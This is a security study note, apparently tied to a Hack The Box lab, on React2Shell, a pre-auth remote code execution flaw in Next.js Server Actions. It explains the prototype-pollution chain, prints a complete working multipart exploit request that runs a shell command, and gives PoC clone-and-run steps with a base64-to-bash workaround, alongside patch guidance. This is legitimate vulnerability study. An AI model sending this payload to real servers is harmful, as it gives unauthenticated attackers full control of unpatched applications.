đ§ React2Shell
Primary: 01 - Web Security
Secondary: 02 - Remote Code Execution
What is it?
- Concept: React2Shell is the public nickname for CVE-2025-55182 (the upstream React advisory) and its downstream tracking ID CVE-2025-66478 (Next.js) â a critical (CVSS 10.0), unauthenticated, pre-auth Remote Code Execution vulnerability in React Server Components (RSC)âs âFlightâ wire protocol, the format RSC uses to serialize server-rendered component trees and Server Action calls between client and server. The root cause is an insecure deserialization flaw (CWE-502) inside the packages that implement Flight decoding:
react-server-dom-webpack,react-server-dom-turbopack, andreact-server-dom-parcel. Any framework built on these â most notably Next.js App Router â inherits it directly. - Impact: Full unauthenticated RCE from a single crafted HTTP request. No developer misconfiguration is required â a stock
create-next-appbuild compiled for production is exploitable exactly as shipped.
How it works
Server Actions are functions written on the server but callable from client code as if they were local â the client invokes them by POSTing multipart/form-data to the page, tagged with a Next-Action header carrying the actionâs ID, with the arguments serialized as JSON in Flightâs compact reference format ($1, $B1337, $@0, etc.).
When the server deserializes those attacker-supplied arguments, its own object-reconstruction logic doesnât adequately restrict which keys can be set on the objects it builds â an attacker can smuggle a "__proto__" key into the graph, and the deserializer will actually write through it onto the real Object.prototype. This is a JavaScript - Prototype Pollution bug sitting inside the frameworkâs own core deserialization code, not a userland merge()/lodash-style utility â so thereâs no âvulnerable dependencyâ to point at, and no application code has to do anything wrong.
The exploit chain then walks the now-polluted prototype to redirect a property lookup (_formData.get) onto Function.prototype.constructor â i.e. the Function constructor itself. That turns what looks like a harmless object property access into the ability to construct and immediately invoke an arbitrary function body, built from an attacker-controlled string. Itâs functionally identical to a server-side eval(), and from there process.mainModule.require('child_process').execSync(...) runs arbitrary shell commands (see Node.js Inspector Protocol RCE for why process.mainModule.require specifically, rather than a bare require, is the reliable way to reach require from a context outside the normal module closure).
Exfiltrating the commandâs output is the last trick: instead of returning it in a body the client can just read, the payload throws a fake Error('NEXT_REDIRECT') with the shell output stuffed into the errorâs digest field. Next.jsâs Server Actions error-handling path is specifically designed to let NEXT_REDIRECT âerrorsâ escape all the way back to the client â thatâs the literal mechanism the real redirect() helper uses internally â so the digest, and the attackerâs command output riding inside it, comes back for free.
Exploitation
Prerequisites
- Next.js App Router: canary
14.3.0-canary.77through stable15.x/16.x, unpatched. Fixed in15.0.5,15.1.9,15.2.6,15.3.6,15.4.8,15.5.7,16.0.7(React fixed in19.0.1/19.1.2/19.2.1). - No auth, no special app configuration â the RSC/Server Actions machinery itself is the vulnerable surface.
Attack Vector: Multipart Server Action deserialization RCE
POST / HTTP/1.1
Host: <target>
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--The Next-Action headerâs value doesnât need to correspond to a real action â its presence alone is enough to route the request into the vulnerable RSC deserialization path.
PoC Tooling
Scanner + exploit: jensnesten/React2Shell-PoC â scanner.py (by Assetnote) detects the bug via a side-channel or RCE-confirmation check; main.py executes arbitrary commands directly over a raw socket.
git clone https://github.com/jensnesten/React2Shell-PoC.git
cd React2Shell-PoC
python3 scanner.py -u http://target:PORT -p PORT
python3 main.py http://target:PORT 'id'Known issues in the PoC
scanner.pyâs-p/--portflag defaults to443and itsnormalize_host()helper silently overrides any port already present in-uâs URL with that default â always pass-p <real_port>explicitly, or a live target on a non-443 port comes back as a false negative.main.pyinterpolates the command directly into the JSON payload with no escaping. Commands containing"or'break the JSON/JS string literal and corrupt the payload â the server throws its own internal error instead, and the resulting opaque numeric error digest can look deceptively like real output. Base64-encode the command and decode+exec it server-side instead:echo <b64>|base64 -d|bash.
Mitigation
- Upgrade Next.js to a patched release (
15.0.5+/15.5.7+/16.0.7+) and React to19.0.1/19.1.2/19.2.1. - Because the bug lives inside the frameworkâs own RSC deserialization code, no amount of application-level input validation meaningfully defends against it â upgrading is the only real fix.
- If immediate upgrade isnât possible, front the app with a WAF/CDN capable of virtual patching â noting that WAF-bypass payload variants (junk multipart padding, alternate gadget chains) are already public.
Related Usage
| File | Created |
|---|---|
| HTB Machine - Reactor | Tuesday, July 28th 2026, 1:31:08 am |
References: